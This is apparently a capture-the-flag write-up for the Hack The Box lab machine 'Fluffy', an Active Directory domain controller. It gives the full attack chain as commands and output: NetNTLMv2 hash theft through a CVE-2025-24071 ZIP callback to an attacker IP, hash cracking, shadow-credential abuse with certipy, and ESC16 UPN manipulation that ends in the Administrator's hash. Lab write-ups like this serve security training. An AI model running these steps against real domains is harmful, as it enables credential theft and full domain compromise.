Reconnaissance
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-25 20:16:55Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-05-25T20:18:25+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
|_ssl-date: 2025-05-25T20:18:25+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T20:18:24+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49717/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-25T20:17:48
|_ start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
The open ports identify the target as the Domain Controller DC01
for the fluffy.htb
domain. I’ll add the relevant info to my /etc/hosts
file.
Initial Access
Info
As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account:
j.fleischman / J0elTHEM4n1990!
Privilege Escalation
Access as p.agila
Since I already have valid credentials I start by enumerating the exposed shares on SMB and find the non-default share IT
where the account has read and write privileges.
$ nxc smb dc01.fluffy.htb -u 'j.fleischman' \
-p 'J0elTHEM4n1990!' \
--shares
SMB 10.129.196.255 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.196.255 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.196.255 445 DC01 [*] Enumerated shares
SMB 10.129.196.255 445 DC01 Share Permissions Remark
SMB 10.129.196.255 445 DC01 ----- ----------- ------
SMB 10.129.196.255 445 DC01 ADMIN$ Remote Admin
SMB 10.129.196.255 445 DC01 C$ Default share
SMB 10.129.196.255 445 DC01 IPC$ READ Remote IPC
SMB 10.129.196.255 445 DC01 IT READ,WRITE
SMB 10.129.196.255 445 DC01 NETLOGON READ Logon server share
SMB 10.129.196.255 445 DC01 SYSVOL READ Logon server share
I then use smbclient to get an interactive session on SMB and list the files in the IT
share. There are two ZIP archives and their extracted contents as well as a PDF
called Upgrade_Notice.pdf
that I transfer to my host.
$ impacket-smbclient 'fluffy.htb/j.fleischman:J0elTHEM4n1990!'@dc01.fluffy.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use IT
# ls
drw-rw-rw- 0 Sun May 25 22:31:37 2025 .
drw-rw-rw- 0 Sun May 25 22:31:37 2025 ..
drw-rw-rw- 0 Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw- 1827464 Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw- 0 Fri May 16 16:51:49 2025 KeePass-2.58
-rw-rw-rw- 3225346 Fri May 16 16:51:49 2025 KeePass-2.58.zip
-rw-rw-rw- 169963 Sat May 17 16:31:07 2025 Upgrade_Notice.pdf
# get Upgrade_Notice.pdf
The PDF document shows recently found vulnerabilities and their CVE numbers. The IT department is asked to book timeslots in order to get those issues fixed. Especially CVE-2025-24071 sounds interesting because one can steal NetNTLMv2 hashes with a prepared ZIP archive.
Luckily there are multiple proof-of-concepts available and I start by cloning one of those repositories and then run the provided Python script. It asks for a filename and the IP to connect back to, and then creates a ZIP archive called exploit.zip
.
$ git clone https://github.com/0x6rss/CVE-2025-24071_PoC && cd CVE-2025-24071_PoC
$ python poc.py
Enter your file name: doesnotmatter
Enter IP (EX: 192.168.1.162): 10.10.10.10
completed
$ ls -la
total 12K
-rw-rw-r-- 1 ryuki ryuki 966 May 25 15:42 README.md
-rw-rw-r-- 1 ryuki ryuki 336 May 25 15:44 exploit.zip
-rw-rw-r-- 1 ryuki ryuki 1003 May 25 15:42 poc.py
Before uploading the booby trapped archive with smbclient, I do start responder to catch the incoming hash. After waiting a bit there’s a connection from p.agila
with the NTLMv2-SSP hash.
$ responder -I tun0 -A
--- SNIP ---
[SMB] NTLMv2-SSP Client : 10.129.196.255
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:536be0521d941cf7:016F5A093DC7D596B726900136677435:01010000000000008006ECCFF4CCDB01E15A69BBCE6ABF620000000002000800530031003000530001001E00570049004E002D004100340041004900420033005900320043005900350004003400570049004E002D00410034004100490042003300590032004300590035002E0053003100300053002E004C004F00430041004C000300140053003100300053002E004C004F00430041004C000500140053003100300053002E004C004F00430041004C00070008008006ECCFF4CCDB01060004000200000008003000300000000000000001000000002000001C72B20BB2F2DE4DDD3DA96A5779DC865AB4503DCEB78553A7E28954BF288E250A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330037000000000000000000
hashcat is able to crack the hash with rockyou.txt and recovers the password prometheusx-303
.
Shell as winrm_svc
In order to map the domain and check out if p.agila
has any interesting privileges I run bloodhound-ce-python to collect the data for BloodHound.
$ bloodhound-ce-python -d fluffy.htb \
-dc dc01.fluffy.htb \
-u 'p.agila' \
-p 'prometheusx-303' \
-c ALL \
-ns 10.129.196.255 \
--zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 07S
INFO: Compressing output into 20250525155341_bloodhound.zip
After processing the data BloodHound shows a path forward. Due to the membership in SERVICE ACCOUNT MANAGERS
the account p.agila
can add itself to the SERVICE ACCOUNTS
group and get GenericWrite over all the members of that group.
I first start with adding the account to the SERVICE ACCOUNT MANAGERS
group with bloodyAD.
$ bloodyAD --host 'dc01.fluffy.htb' \
-d 'fluffy.htb' \
-u 'p.agila' \
-p 'prometheusx-303' \
add groupMember 'SERVICE ACCOUNTS' 'p.agila'
[+] p.agila added to SERVICE ACCOUNTS
Now I should be able to add shadow credentials to all of the service accounts in order to get a TGT and their NTLM hash. I’ll perform that action with certipy for each individual account.
$ faketime -f +7h certipy-ad shadow -account winrm_svc \
-u 'p.agila@fluffy.htb' \
-p 'prometheusx-303' \
auto
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '14d3dc02-a9eb-dd45-d8a1-89aeeb3f11d9'
[*] Adding Key Credential with device ID '14d3dc02-a9eb-dd45-d8a1-89aeeb3f11d9' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '14d3dc02-a9eb-dd45-d8a1-89aeeb3f11d9' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
$ faketime -f +7h certipy-ad shadow -account ca_svc \
-u 'p.agila@fluffy.htb' \
-p 'prometheusx-303' \
auto
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'ab7bee50-e223-0c4a-0049-e8626ca1c85c'
[*] Adding Key Credential with device ID 'ab7bee50-e223-0c4a-0049-e8626ca1c85c' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'ab7bee50-e223-0c4a-0049-e8626ca1c85c' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
$ faketime -f +7h certipy-ad shadow -account ldap_svc \
-u 'p.agila@fluffy.htb' \
-p 'prometheusx-303' \
auto
[*] Targeting user 'ldap_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'c1829b53-82f4-613d-1e68-c612e4f24e4d'
[*] Adding Key Credential with device ID 'c1829b53-82f4-613d-1e68-c612e4f24e4d' to the Key Credentials for 'ldap_svc'
[*] Successfully added Key Credential with device ID 'c1829b53-82f4-613d-1e68-c612e4f24e4d' to the Key Credentials for 'ldap_svc'
[*] Authenticating as 'ldap_svc' with the certificate
[*] Using principal: ldap_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ldap_svc.ccache'
[*] Trying to retrieve NT hash for 'ldap_svc'
[*] Restoring the old Key Credentials for 'ldap_svc'
[*] Successfully restored the old Key Credentials for 'ldap_svc'
[*] NT hash for 'ldap_svc': 22151d74ba3de931a352cba1f9393a37
The NTLM hash for winrm_svc
lets me use evil-winrm to connect to DC01
and collect the first flag.
Shell as Administrator
As the service account that powers ADCS I run certipy-ad to find any vulnerabilities and even though no vulnerable template is found the tool reports the CA has misconfiguration tracked as ESC16
.
$ certipy-ad find -u ca_svc@fluffy.htb \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-stdout \
-text \
-vulnerable
--- SNIP ---
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Conveniently the requirements for ESC16
are satisfied by having an account with GenericWrite to modify the UPN
, request a certificate and then remove the UPN
again. This way the authentication falls back to the actual account1.
I start by modifying the userPrincipalName
of ca_svc
to be administrator
and request a new certificate with that account.
$ certipy-ad account -u 'p.agila@fluffy.htb' \
-p 'prometheusx-303' \
-upn 'administrator' \
-user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
$ certipy-ad req -u 'ca_svc@fluffy.htb' \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-ca 'fluffy-DC01-CA'
[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Then I remove the UPN
again by setting it to something else and then use the certificate to authenticate. This returns the TGT and NTLM hash for the Administrator
account and letting me access the Domain Controller to collect the final flag.
$ certipy-ad account -u 'p.agila@fluffy.htb' \
-p 'prometheusx-303' \
-upn 'ca_svc' \
-user 'ca_svc' update
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc
[*] Successfully updated 'ca_svc'
$ faketime -f +7h certipy-ad auth -pfx administrator.pfx \
-domain fluffy.htb \
-u administrator \
-dc-ip 10.129.196.255
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
Attack Path
flowchart TD subgraph "Privilege Escalation" A(Write Privileges to IT share) -->|CVE-2025-24071| B(NetNTLMv2 hash for p.agila) B -->|Crack Hash| C(Access as p.agila) C -->|GenericAll over group| D(Member of SERVICE ACCOUNTS) D -->|GenericWrite & ShadowCredentials| E(Access as ca_svc) D & E -->|ESC16| F(Certificate for Administrator) F --> G(Shell as Administrator) end